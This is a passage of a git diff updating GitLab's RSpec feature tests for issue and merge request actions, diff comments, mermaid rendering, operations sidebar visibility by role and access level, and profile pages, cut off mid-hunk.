diff --git a/spec/features/issues/user_uses_quick_actions_spec.rb b/spec/features/issues/user_uses_quick_actions_spec.rb
index c5eb3f415ff..d88b816b186 100644
--- a/spec/features/issues/user_uses_quick_actions_spec.rb
+++ b/spec/features/issues/user_uses_quick_actions_spec.rb
@@ -43,5 +43,6 @@ RSpec.describe 'Issues > User uses quick actions', :js do
it_behaves_like 'create_merge_request quick action'
it_behaves_like 'move quick action'
it_behaves_like 'zoom quick actions'
+ it_behaves_like 'clone quick action'
end
end
diff --git a/spec/features/issues/user_views_issue_spec.rb b/spec/features/issues/user_views_issue_spec.rb
index 4128f3478bb..8792d76981f 100644
--- a/spec/features/issues/user_views_issue_spec.rb
+++ b/spec/features/issues/user_views_issue_spec.rb
@@ -13,8 +13,6 @@ RSpec.describe "User views issue" do
end
before do
- stub_feature_flags(vue_issue_header: false)
-
sign_in(user)
visit(project_issue_path(project, issue))
@@ -24,10 +22,12 @@ RSpec.describe "User views issue" do
it_behaves_like 'page meta description', ' Description header Lorem ipsum dolor sit amet'
- it 'shows the merge request and issue actions', :aggregate_failures do
- expect(page).to have_link('New issue')
+ it 'shows the merge request and issue actions', :js, :aggregate_failures do
+ click_button 'Issue actions'
+
+ expect(page).to have_link('New issue', href: new_project_issue_path(project))
expect(page).to have_button('Create merge request')
- expect(page).to have_link('Close issue')
+ expect(page).to have_button('Close issue')
end
context 'when the project is archived' do
diff --git a/spec/features/markdown/copy_as_gfm_spec.rb b/spec/features/markdown/copy_as_gfm_spec.rb
index fbf4e531db1..c9dc764f93b 100644
--- a/spec/features/markdown/copy_as_gfm_spec.rb
+++ b/spec/features/markdown/copy_as_gfm_spec.rb
@@ -7,10 +7,6 @@ RSpec.describe 'Copy as GFM', :js do
include RepoHelpers
include ActionView::Helpers::JavaScriptHelper
- before do
- sign_in(create(:admin))
- end
-
describe 'Copying rendered GFM' do
before do
@feat = MarkdownFeature.new
@@ -18,6 +14,9 @@ RSpec.describe 'Copy as GFM', :js do
# `markdown` helper expects a `@project` variable
@project = @feat.project
+ user = create(:user)
+ @project.add_maintainer(user)
+ sign_in(user)
visit project_issue_path(@project, @feat.issue)
end
@@ -650,6 +649,10 @@ RSpec.describe 'Copy as GFM', :js do
describe 'Copying code' do
let(:project) { create(:project, :repository) }
+ before do
+ sign_in(project.owner)
+ end
+
context 'from a diff' do
shared_examples 'copying code from a diff' do
context 'selecting one word of text' do
diff --git a/spec/features/markdown/mermaid_spec.rb b/spec/features/markdown/mermaid_spec.rb
index 58314a49c4b..23cdd9d2ce5 100644
--- a/spec/features/markdown/mermaid_spec.rb
+++ b/spec/features/markdown/mermaid_spec.rb
@@ -48,7 +48,7 @@ RSpec.describe 'Mermaid rendering', :js do
expect(page.html.scan(expected).count).to be(4)
end
- it 'renders only 2 Mermaid blocks and ', :js, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/234081' } do
+ it 'renders only 2 Mermaid blocks and', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/234081' do
description = <<~MERMAID
```mermaid
graph LR
@@ -78,7 +78,7 @@ RSpec.describe 'Mermaid rendering', :js do
end
end
- it 'correctly sizes mermaid diagram inside <details> block', :js do
+ it 'correctly sizes mermaid diagram inside <details> block' do
description = <<~MERMAID
<details>
<summary>Click to show diagram</summary>
@@ -112,7 +112,7 @@ RSpec.describe 'Mermaid rendering', :js do
end
end
- it 'correctly sizes mermaid diagram block', :js do
+ it 'correctly sizes mermaid diagram block' do
description = <<~MERMAID
```mermaid
graph TD;
@@ -134,7 +134,7 @@ RSpec.describe 'Mermaid rendering', :js do
expect(page).to have_css('svg.mermaid[style*="max-width"][width="100%"]')
end
- it 'display button when diagram exceeds length', :js do
+ it 'display button when diagram exceeds length', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/287806' do
graph_edges = "A-->B;B-->A;" * 420
description = <<~MERMAID
diff --git a/spec/features/merge_request/close_reopen_report_toggle_spec.rb b/spec/features/merge_request/close_reopen_report_toggle_spec.rb
new file mode 100644
index 00000000000..8a4277d87c9
--- /dev/null
+++ b/spec/features/merge_request/close_reopen_report_toggle_spec.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Issuables Close/Reopen/Report toggle' do
+ include IssuablesHelper
+
+ let(:user) { create(:user) }
+
+ context 'on a merge request' do
+ let(:container) { find('.detail-page-header-actions') }
+ let(:project) { create(:project, :repository) }
+ let(:issuable) { create(:merge_request, source_project: project) }
+
+ before do
+ project.add_maintainer(user)
+ login_as user
+ end
+
+ context 'when user has permission to update', :js do
+ before do
+ visit project_merge_request_path(project, issuable)
+ end
+
+ context 'close/reopen/report toggle' do
+ it 'opens a dropdown when toggle is clicked' do
+ click_button 'Toggle dropdown'
+
+ expect(container).to have_link("Close merge request")
+ expect(container).to have_link('Report abuse')
+ expect(container).to have_text("Report merge requests that are abusive, inappropriate or spam.")
+ end
+
+ it 'links to Report Abuse' do
+ click_button 'Toggle dropdown'
+ click_link 'Report abuse'
+
+ expect(page).to have_content('Report abuse to admin')
+ end
+ end
+
+ context 'when the merge request is open' do
+ let(:issuable) { create(:merge_request, :opened, source_project: project) }
+
+ it 'shows the `Edit` and `Mark as draft` buttons' do
+ expect(container).to have_link('Edit')
+ expect(container).to have_link('Mark as draft')
+ expect(container).not_to have_button('Report abuse')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).not_to have_link('Reopen merge request')
+ end
+ end
+
+ context 'when the merge request is closed' do
+ let(:issuable) { create(:merge_request, :closed, source_project: project) }
+
+ it 'shows both the `Edit` and `Reopen` button' do
+ expect(container).to have_link('Edit')
+ expect(container).not_to have_button('Report abuse')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).to have_link('Reopen merge request')
+ end
+
+ context 'when the merge request author is the current user' do
+ let(:issuable) { create(:merge_request, :closed, source_project: project, author: user) }
+
+ it 'shows both the `Edit` and `Reopen` button' do
+ expect(container).to have_link('Edit')
+ expect(container).not_to have_link('Report abuse')
+ expect(container).not_to have_selector('button.dropdown-toggle')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).to have_link('Reopen merge request')
+ end
+ end
+ end
+
+ context 'when the merge request is merged' do
+ let(:issuable) { create(:merge_request, :merged, source_project: project) }
+
+ it 'shows only the `Edit` button' do
+ expect(container).to have_link(exact_text: 'Edit')
+ expect(container).not_to have_link('Report abuse')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).not_to have_button('Reopen merge request')
+ end
+
+ context 'when the merge request author is the current user' do
+ let(:issuable) { create(:merge_request, :merged, source_project: project, author: user) }
+
+ it 'shows only the `Edit` button' do
+ expect(container).to have_link(exact_text: 'Edit')
+ expect(container).not_to have_link('Report abuse')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).not_to have_button('Reopen merge request')
+ end
+ end
+ end
+ end
+
+ context 'when user doesnt have permission to update' do
+ let(:cant_project) { create(:project, :repository) }
+ let(:cant_issuable) { create(:merge_request, source_project: cant_project) }
+
+ before do
+ cant_project.add_reporter(user)
+
+ visit project_merge_request_path(cant_project, cant_issuable)
+ end
+
+ it 'only shows a `Report abuse` button' do
+ expect(container).to have_link('Report abuse')
+ expect(container).not_to have_button('Close merge request')
+ expect(container).not_to have_button('Reopen merge request')
+ expect(container).not_to have_link(exact_text: 'Edit')
+ end
+ end
+ end
+end
diff --git a/spec/features/issuables/merge_request_discussion_lock_spec.rb b/spec/features/merge_request/merge_request_discussion_lock_spec.rb
index 4e0265839f6..4e0265839f6 100644
--- a/spec/features/issuables/merge_request_discussion_lock_spec.rb
+++ b/spec/features/merge_request/merge_request_discussion_lock_spec.rb
diff --git a/spec/features/merge_request/user_closes_merge_request_spec.rb b/spec/features/merge_request/user_closes_merge_request_spec.rb
deleted file mode 100644
index e6b6778c76e..00000000000
--- a/spec/features/merge_request/user_closes_merge_request_spec.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'User closes a merge requests', :js do
- let(:project) { create(:project, :repository) }
- let(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
- let(:user) { create(:user) }
-
- before do
- project.add_maintainer(user)
- sign_in(user)
-
- visit(merge_request_path(merge_request))
- end
-
- it 'closes a merge request' do
- click_button('Close merge request', match: :first)
-
- expect(page).to have_content(merge_request.title)
- expect(page).to have_content('Closed by')
- end
-end
diff --git a/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb b/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb
new file mode 100644
index 00000000000..6376f9ab5fd
--- /dev/null
+++ b/spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb
@@ -0,0 +1,101 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User closes/reopens a merge request', :js do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ describe 'when open' do
+ context 'when clicking the top `Close merge request` link', :aggregate_failures do
+ let(:open_merge_request) { create(:merge_request, source_project: project, target_project: project) }
+
+ before do
+ visit merge_request_path(open_merge_request)
+ end
+
+ it 'can close a merge request' do
+ expect(find('.status-box')).to have_content 'Open'
+
+ within '.detail-page-header' do
+ click_button 'Toggle dropdown'
+ click_link 'Close merge request'
+ end
+
+ wait_for_requests
+
+ expect(find('.status-box')).to have_content 'Closed'
+ end
+ end
+
+ context 'when clicking the bottom `Close merge request` button', :aggregate_failures do
+ let(:open_merge_request) { create(:merge_request, source_project: project, target_project: project) }
+
+ before do
+ visit merge_request_path(open_merge_request)
+ end
+
+ it 'can close a merge request' do
+ expect(find('.status-box')).to have_content 'Open'
+
+ within '.timeline-content-form' do
+ click_button 'Close merge request'
+
+ # Clicking the bottom `Close merge request` button does not yet update
+ # the header status so for now we'll check that the button text changes
+ expect(page).not_to have_button 'Close merge request'
+ expect(page).to have_button 'Reopen merge request'
+ end
+ end
+ end
+ end
+
+ describe 'when closed' do
+ context 'when clicking the top `Reopen merge request` link', :aggregate_failures do
+ let(:closed_merge_request) { create(:merge_request, source_project: project, target_project: project, state: 'closed') }
+
+ before do
+ visit merge_request_path(closed_merge_request)
+ end
+
+ it 'can reopen a merge request' do
+ expect(find('.status-box')).to have_content 'Closed'
+
+ within '.detail-page-header' do
+ click_button 'Toggle dropdown'
+ click_link 'Reopen merge request'
+ end
+
+ wait_for_requests
+
+ expect(find('.status-box')).to have_content 'Open'
+ end
+ end
+
+ context 'when clicking the bottom `Reopen merge request` button', :aggregate_failures do
+ let(:closed_merge_request) { create(:merge_request, source_project: project, target_project: project, state: 'closed') }
+
+ before do
+ visit merge_request_path(closed_merge_request)
+ end
+
+ it 'can reopen a merge request' do
+ expect(find('.status-box')).to have_content 'Closed'
+
+ within '.timeline-content-form' do
+ click_button 'Reopen merge request'
+
+ # Clicking the bottom `Reopen merge request` button does not yet update
+ # the header status so for now we'll check that the button text changes
+ expect(page).not_to have_button 'Reopen merge request'
+ expect(page).to have_button 'Close merge request'
+ end
+ end
+ end
+ end
+end
diff --git a/spec/features/merge_request/user_comments_on_diff_spec.rb b/spec/features/merge_request/user_comments_on_diff_spec.rb
index c452408cff2..0fd140a00bd 100644
--- a/spec/features/merge_request/user_comments_on_diff_spec.rb
+++ b/spec/features/merge_request/user_comments_on_diff_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe 'User comments on a diff', :js do
click_button('Add comment now')
end
- page.within('.diff-files-holder > div:nth-child(3)') do
+ page.within('.diff-files-holder > div:nth-child(6)') do
expect(page).to have_content('Line is wrong')
find('.js-diff-more-actions').click
@@ -53,7 +53,7 @@ RSpec.describe 'User comments on a diff', :js do
wait_for_requests
- page.within('.diff-files-holder > div:nth-child(2) .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(5) .note-body > .note-text') do
expect(page).to have_content('Line is correct')
end
@@ -67,7 +67,7 @@ RSpec.describe 'User comments on a diff', :js do
wait_for_requests
# Hide the comment.
- page.within('.diff-files-holder > div:nth-child(3)') do
+ page.within('.diff-files-holder > div:nth-child(6)') do
find('.js-diff-more-actions').click
click_button 'Hide comments on this file'
@@ -76,22 +76,22 @@ RSpec.describe 'User comments on a diff', :js do
# At this moment a user should see only one comment.
# The other one should be hidden.
- page.within('.diff-files-holder > div:nth-child(2) .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(5) .note-body > .note-text') do
expect(page).to have_content('Line is correct')
end
# Show the comment.
- page.within('.diff-files-holder > div:nth-child(3)') do
+ page.within('.diff-files-holder > div:nth-child(6)') do
find('.js-diff-more-actions').click
click_button 'Show comments on this file'
end
# Now both the comments should be shown.
- page.within('.diff-files-holder > div:nth-child(3) .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(6) .note-body > .note-text') do
expect(page).to have_content('Line is wrong')
end
- page.within('.diff-files-holder > div:nth-child(2) .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(5) .note-body > .note-text') do
expect(page).to have_content('Line is correct')
end
@@ -102,11 +102,11 @@ RSpec.describe 'User comments on a diff', :js do
wait_for_requests
- page.within('.diff-files-holder > div:nth-child(3) .parallel .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(6) .parallel .note-body > .note-text') do
expect(page).to have_content('Line is wrong')
end
- page.within('.diff-files-holder > div:nth-child(2) .parallel .note-body > .note-text') do
+ page.within('.diff-files-holder > div:nth-child(5) .parallel .note-body > .note-text') do
expect(page).to have_content('Line is correct')
end
end
@@ -136,7 +136,7 @@ RSpec.describe 'User comments on a diff', :js do
add_comment('-13', '+15')
end
- it 'allows comments on previously hidden lines at the top of a file' do
+ it 'allows comments on previously hidden lines at the top of a file', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/285294' do
# Click -9, expand up, select 1 add and verify comment
page.within('[data-path="files/ruby/popen.rb"]') do
all('.js-unfold-all')[0].click
@@ -204,7 +204,7 @@ RSpec.describe 'User comments on a diff', :js do
click_button('Add comment now')
end
- page.within('.diff-file:nth-of-type(5) .discussion .note') do
+ page.within('.diff-file:nth-of-type(1) .discussion .note') do
find('.js-note-edit').click
page.within('.current-note-edit-form') do
@@ -215,7 +215,7 @@ RSpec.describe 'User comments on a diff', :js do
expect(page).not_to have_button('Save comment', disabled: true)
end
- page.within('.diff-file:nth-of-type(5) .discussion .note') do
+ page.within('.diff-file:nth-of-type(1) .discussion .note') do
expect(page).to have_content('Typo, please fix').and have_no_content('Line is wrong')
end
end
@@ -234,7 +234,7 @@ RSpec.describe 'User comments on a diff', :js do
expect(page).to have_content('1')
end
- page.within('.diff-file:nth-of-type(5) .discussion .note') do
+ page.within('.diff-file:nth-of-type(1) .discussion .note') do
find('.more-actions').click
find('.more-actions .dropdown-menu li', match: :first)
diff --git a/spec/features/merge_request/user_posts_diff_notes_spec.rb b/spec/features/merge_request/user_posts_diff_notes_spec.rb
index 9556142ecb8..794dfd7c8da 100644
--- a/spec/features/merge_request/user_posts_diff_notes_spec.rb
+++ b/spec/features/merge_request/user_posts_diff_notes_spec.rb
@@ -74,7 +74,10 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
context 'with an unfolded line' do
before do
- find('.js-unfold', match: :first).click
+ page.within('.file-holder[id="a5cc2925ca8258af241be7e5b0381edf30266302"]') do
+ find('.js-unfold', match: :first).click
+ end
+
wait_for_requests
end
@@ -137,7 +140,10 @@ RSpec.describe 'Merge request > User posts diff notes', :js do
context 'with an unfolded line' do
before do
- find('.js-unfold', match: :first).click
+ page.within('.file-holder[id="a5cc2925ca8258af241be7e5b0381edf30266302"]') do
+ find('.js-unfold', match: :first).click
+ end
+
wait_for_requests
end
diff --git a/spec/features/merge_request/user_reopens_merge_request_spec.rb b/spec/features/merge_request/user_reopens_merge_request_spec.rb
deleted file mode 100644
index 4a05a3be59a..00000000000
--- a/spec/features/merge_request/user_reopens_merge_request_spec.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'User reopens a merge requests', :js do
- let(:project) { create(:project, :public, :repository) }
- let!(:merge_request) { create(:closed_merge_request, source_project: project, target_project: project) }
- let(:user) { create(:user) }
-
- before do
- project.add_maintainer(user)
- sign_in(user)
-
- visit(merge_request_path(merge_request))
- end
-
- it 'reopens a merge request' do
- find('.js-issuable-close-dropdown .dropdown-toggle').click
-
- click_link('Reopen merge request', match: :first)
-
- wait_for_requests
-
- page.within('.status-box') do
- expect(page).to have_content('Open')
- end
- end
-end
diff --git a/spec/features/merge_request/user_resolves_conflicts_spec.rb b/spec/features/merge_request/user_resolves_conflicts_spec.rb
index 06405232462..1b1152897fc 100644
--- a/spec/features/merge_request/user_resolves_conflicts_spec.rb
+++ b/spec/features/merge_request/user_resolves_conflicts_spec.rb
@@ -8,11 +8,6 @@ RSpec.describe 'Merge request > User resolves conflicts', :js do
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
- before do
- # In order to have the diffs collapsed, we need to disable the increase feature
- stub_feature_flags(gitlab_git_diff_size_limit_increase: false)
- end
-
def create_merge_request(source_branch)
create(:merge_request, source_branch: source_branch, target_branch: 'conflict-start', source_project: project, merge_status: :unchecked) do |mr|
mr.mark_as_unmergeable
diff --git a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
index 00f0c88497b..cb7c952dfe4 100644
--- a/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
+++ b/spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb
@@ -111,7 +111,6 @@ RSpec.describe 'Merge request > User resolves diff notes and threads', :js do
it 'shows resolved thread when toggled' do
find(".timeline-content .discussion[data-discussion-id='#{note.discussion_id}'] .discussion-toggle-button").click
- expect(page.find(".line-holder-placeholder")).to be_visible
expect(page.find(".timeline-content #note_#{note.id}")).to be_visible
end
diff --git a/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb b/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
index e47f9ff2660..38546fd629d 100644
--- a/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
+++ b/spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb
@@ -18,8 +18,8 @@ RSpec.describe 'Merge request > User sees check out branch modal', :js do
expect(page).to have_content('Check out, review, and merge locally')
end
- it 'closes the check out branch modal with escape keypress' do
- find('#modal_merge_info').send_keys(:escape)
+ it 'closes the check out branch modal with the close action' do
+ find('.modal button[aria-label="Close"]').click
expect(page).not_to have_content('Check out, review, and merge locally')
end
diff --git a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
index 7b319f6aff8..6647a4e9291 100644
--- a/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
+++ b/spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb
@@ -27,7 +27,6 @@ RSpec.describe 'Merge request > User sees pipelines triggered by merge request',
before do
stub_application_setting(auto_devops_enabled: false)
- stub_feature_flags(ci_merge_request_pipeline: true)
stub_ci_pipeline_yaml_file(YAML.dump(config))
project.add_maintainer(user)
sign_in(user)
diff --git a/spec/features/merge_request/user_sees_versions_spec.rb b/spec/features/merge_request/user_sees_versions_spec.rb
index fb616ceae9d..8930c55a28c 100644
--- a/spec/features/merge_request/user_sees_versions_spec.rb
+++ b/spec/features/merge_request/user_sees_versions_spec.rb
@@ -17,6 +17,8 @@ RSpec.describe 'Merge request > User sees versions', :js do
let!(:params) { {} }
before do
+ stub_feature_flags(diffs_gradual_load: false)
+
project.add_maintainer(user)
sign_in(user)
visit diffs_project_merge_request_path(project, merge_request, params)
@@ -73,12 +75,12 @@ RSpec.describe 'Merge request > User sees versions', :js do
it 'shows the commit SHAs for every version in the dropdown' do
page.within '.mr-version-dropdown' do
- find('.btn-default').click
+ find('.gl-dropdown-toggle').click
+ end
- page.within('.dropdown-content') do
- shas = merge_request.merge_request_diffs.map { |diff| Commit.truncate_sha(diff.head_commit_sha) }
- shas.each { |sha| expect(page).to have_content(sha) }
- end
+ page.within '.mr-version-dropdown' do
+ shas = merge_request.merge_request_diffs.map { |diff| Commit.truncate_sha(diff.head_commit_sha) }
+ shas.each { |sha| expect(page).to have_content(sha) }
end
end
@@ -182,7 +184,7 @@ RSpec.describe 'Merge request > User sees versions', :js do
it 'has 0 chages between versions' do
page.within '.mr-version-compare-dropdown' do
- expect(find('.dropdown-menu-toggle')).to have_content 'version 1'
+ expect(find('.gl-dropdown-toggle')).to have_content 'version 1'
end
page.within '.mr-version-dropdown' do
@@ -203,7 +205,7 @@ RSpec.describe 'Merge request > User sees versions', :js do
it 'sets the compared versions to be the same' do
page.within '.mr-version-compare-dropdown' do
- expect(find('.dropdown-menu-toggle')).to have_content 'version 2'
+ expect(find('.gl-dropdown-toggle')).to have_content 'version 2'
end
page.within '.mr-version-dropdown' do
diff --git a/spec/features/merge_requests/user_squashes_merge_request_spec.rb b/spec/features/merge_request/user_squashes_merge_request_spec.rb
index 84964bd0637..84964bd0637 100644
--- a/spec/features/merge_requests/user_squashes_merge_request_spec.rb
+++ b/spec/features/merge_request/user_squashes_merge_request_spec.rb
diff --git a/spec/features/merge_requests/user_views_diffs_commit_spec.rb b/spec/features/merge_request/user_views_diffs_commit_spec.rb
index cf92603972e..cf92603972e 100644
--- a/spec/features/merge_requests/user_views_diffs_commit_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_commit_spec.rb
diff --git a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
index bb4bf0864c9..ad9c342df3e 100644
--- a/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_file_by_file_spec.rb
@@ -23,12 +23,12 @@ RSpec.describe 'User views diffs file-by-file', :js do
it 'shows diffs file-by-file' do
page.within('#diffs') do
expect(page).to have_selector('.file-holder', count: 1)
- expect(page).to have_selector('.diff-file .file-title', text: '.DS_Store')
+ expect(page).to have_selector('.diff-file .file-title', text: 'files/ruby/popen.rb')
find('.page-link.next-page-item').click
expect(page).to have_selector('.file-holder', count: 1)
- expect(page).to have_selector('.diff-file .file-title', text: '.gitignore')
+ expect(page).to have_selector('.diff-file .file-title', text: 'files/ruby/regex.rb')
end
end
end
diff --git a/spec/features/merge_request/user_views_diffs_spec.rb b/spec/features/merge_request/user_views_diffs_spec.rb
index e1865fe2e14..a0b3067994c 100644
--- a/spec/features/merge_request/user_views_diffs_spec.rb
+++ b/spec/features/merge_request/user_views_diffs_spec.rb
@@ -22,8 +22,8 @@ RSpec.describe 'User views diffs', :js do
it 'unfolds diffs upwards' do
first('.js-unfold').click
- page.within('.file-holder[id="a5cc2925ca8258af241be7e5b0381edf30266302"]') do
- expect(find('.text-file')).to have_content('.bundle')
+ page.within('.file-holder[id="2f6fcd96b88b36ce98c38da085c795a27d92a3dd"]') do
+ expect(find('.text-file')).to have_content('fileutils')
expect(page).to have_selector('.new_line [data-linenumber="1"]', count: 1)
end
end
diff --git a/spec/features/merge_request/user_sees_empty_state_spec.rb b/spec/features/merge_requests/user_sees_empty_state_spec.rb
index ac07b31731d..ac07b31731d 100644
--- a/spec/features/merge_request/user_sees_empty_state_spec.rb
+++ b/spec/features/merge_requests/user_sees_empty_state_spec.rb
diff --git a/spec/features/milestone_spec.rb b/spec/features/milestone_spec.rb
index dce76e4df6d..b9594293996 100644
--- a/spec/features/milestone_spec.rb
+++ b/spec/features/milestone_spec.rb
@@ -101,7 +101,7 @@ RSpec.describe 'Milestone' do
end
describe 'Deleting a milestone' do
- it "The delete milestone button does not show for unauthorized users" do
+ it "the delete milestone button does not show for unauthorized users" do
create(:milestone, project: project, title: 8.7)
sign_out(user)
diff --git a/spec/features/operations_sidebar_link_spec.rb b/spec/features/operations_sidebar_link_spec.rb
index 32e2833dafb..798f9092db0 100644
--- a/spec/features/operations_sidebar_link_spec.rb
+++ b/spec/features/operations_sidebar_link_spec.rb
@@ -2,31 +2,88 @@
require 'spec_helper'
-RSpec.describe 'Operations dropdown sidebar' do
- let_it_be(:project) { create(:project, :repository) }
+RSpec.describe 'Operations dropdown sidebar', :aggregate_failures do
+ let_it_be_with_reload(:project) { create(:project, :internal, :repository) }
let(:user) { create(:user) }
+ let(:access_level) { ProjectFeature::PUBLIC }
+ let(:role) { nil }
before do
- project.add_role(user, role)
+ project.add_role(user, role) if role
+ project.project_feature.update_attribute(:operations_access_level, access_level)
+
sign_in(user)
visit project_issues_path(project)
end
+ shared_examples 'shows Operations menu based on the access level' do
+ context 'when operations project feature is PRIVATE' do
+ let(:access_level) { ProjectFeature::PRIVATE }
+
+ it 'shows the `Operations` menu' do
+ expect(page).to have_selector('a.shortcuts-operations', text: 'Operations')
+ end
+ end
+
+ context 'when operations project feature is DISABLED' do
+ let(:access_level) { ProjectFeature::DISABLED }
+
+ it 'does not show the `Operations` menu' do
+ expect(page).not_to have_selector('a.shortcuts-operations')
+ end
+ end
+ end
+
+ context 'user is not a member' do
+ it 'has the correct `Operations` menu items', :aggregate_failures do
+ expect(page).to have_selector('a.shortcuts-operations', text: 'Operations')
+ expect(page).to have_link(title: 'Incidents', href: project_incidents_path(project))
+ expect(page).to have_link(title: 'Environments', href: project_environments_path(project))
+
+ expect(page).not_to have_link(title: 'Metrics', href: project_metrics_dashboard_path(project))
+ expect(page).not_to have_link(title: 'Alerts', href: project_alert_management_index_path(project))
+ expect(page).not_to have_link(title: 'Error Tracking', href: project_error_tracking_index_path(project))
+ expect(page).not_to have_link(title: 'Product Analytics', href: project_product_analytics_path(project))
+ expect(page).not_to have_link(title: 'Serverless', href: project_serverless_functions_path(project))
+ expect(page).not_to have_link(title: 'Logs', href: project_logs_path(project))
+ expect(page).not_to have_link(title: 'Kubernetes', href: project_clusters_path(project))
+ end
+
+ context 'when operations project feature is PRIVATE' do
+ let(:access_level) { ProjectFeature::PRIVATE }
+
+ it 'does not show the `Operations` menu' do
+ expect(page).not_to have_selector('a.shortcuts-operations')
+ end
+ end
+
+ context 'when operations project feature is DISABLED' do
+ let(:access_level) { ProjectFeature::DISABLED }
+
+ it 'does not show the `Operations` menu' do
+ expect(page).not_to have_selector('a.shortcuts-operations')
+ end
+ end
+ end
+
context 'user has guest role' do
let(:role) { :guest }
it 'has the correct `Operations` menu items' do
+ expect(page).to have_selector('a.shortcuts-operations', text: 'Operations')
expect(page).to have_link(title: 'Incidents', href: project_incidents_path(project))
+ expect(page).to have_link(title: 'Environments', href: project_environments_path(project))
expect(page).not_to have_link(title: 'Metrics', href: project_metrics_dashboard_path(project))
expect(page).not_to have_link(title: 'Alerts', href: project_alert_management_index_path(project))
- expect(page).not_to have_link(title: 'Environments', href: project_environments_path(project))
expect(page).not_to have_link(title: 'Error Tracking', href: project_error_tracking_index_path(project))
expect(page).not_to have_link(title: 'Product Analytics', href: project_product_analytics_path(project))
expect(page).not_to have_link(title: 'Serverless', href: project_serverless_functions_path(project))
expect(page).not_to have_link(title: 'Logs', href: project_logs_path(project))
expect(page).not_to have_link(title: 'Kubernetes', href: project_clusters_path(project))
end
+
+ it_behaves_like 'shows Operations menu based on the access level'
end
context 'user has reporter role' do
@@ -44,6 +101,8 @@ RSpec.describe 'Operations dropdown sidebar' do
expect(page).not_to have_link(title: 'Logs', href: project_logs_path(project))
expect(page).not_to have_link(title: 'Kubernetes', href: project_clusters_path(project))
end
+
+ it_behaves_like 'shows Operations menu based on the access level'
end
context 'user has developer role' do
@@ -61,6 +120,8 @@ RSpec.describe 'Operations dropdown sidebar' do
expect(page).not_to have_link(title: 'Serverless', href: project_serverless_functions_path(project))
expect(page).not_to have_link(title: 'Kubernetes', href: project_clusters_path(project))
end
+
+ it_behaves_like 'shows Operations menu based on the access level'
end
context 'user has maintainer role' do
@@ -77,5 +138,7 @@ RSpec.describe 'Operations dropdown sidebar' do
expect(page).to have_link(title: 'Logs', href: project_logs_path(project))
expect(page).to have_link(title: 'Kubernetes', href: project_clusters_path(project))
end
+
+ it_behaves_like 'shows Operations menu based on the access level'
end
end
diff --git a/spec/features/profiles/account_spec.rb b/spec/features/profiles/account_spec.rb
index 62d8a96c1b2..2e8d9ef80cd 100644
--- a/spec/features/profiles/account_spec.rb
+++ b/spec/features/profiles/account_spec.rb
@@ -78,14 +78,14 @@ RSpec.describe 'Profile > Account', :js do
update_username(new_username)
visit new_project_path
expect(current_path).to eq(new_project_path)
- expect(find('.breadcrumbs-sub-title')).to have_content('Details')
+ expect(find('.breadcrumbs')).to have_content(user.name)
end
it 'the old project path redirects to the new path' do
update_username(new_username)
visit old_project_path
expect(current_path).to eq(new_project_path)
- expect(find('.breadcrumbs-sub-title')).to have_content('Details')
+ expect(find('.breadcrumbs')).to have_content(user.name)
end
end
end
diff --git a/spec/features/profiles/active_sessions_spec.rb b/spec/features/profiles/active_sessions_spec.rb
index 75531d43df2..fd64704b7c8 100644
--- a/spec/features/profiles/active_sessions_spec.rb
+++ b/spec/features/profiles/active_sessions_spec.rb
@@ -11,8 +11,8 @@ RSpec.describe 'Profile > Active Sessions', :clean_gitlab_redis_shared_state do
let(:admin) { create(:admin) }
- it 'User sees their active sessions' do
- Timecop.freeze(Time.zone.parse('2018-03-12 09:06')) do
+ it 'user sees their active sessions' do
+ travel_to(Time.zone.parse('2018-03-12 09:06')) do
Capybara::Session.new(:session1)
Capybara::Session.new(:session2)
Capybara::Session.new(:session3)
@@ -45,6 +45,7 @@ RSpec.describe 'Profile > Active Sessions', :clean_gitlab_redis_shared_state do
)
gitlab_sign_in(admin)
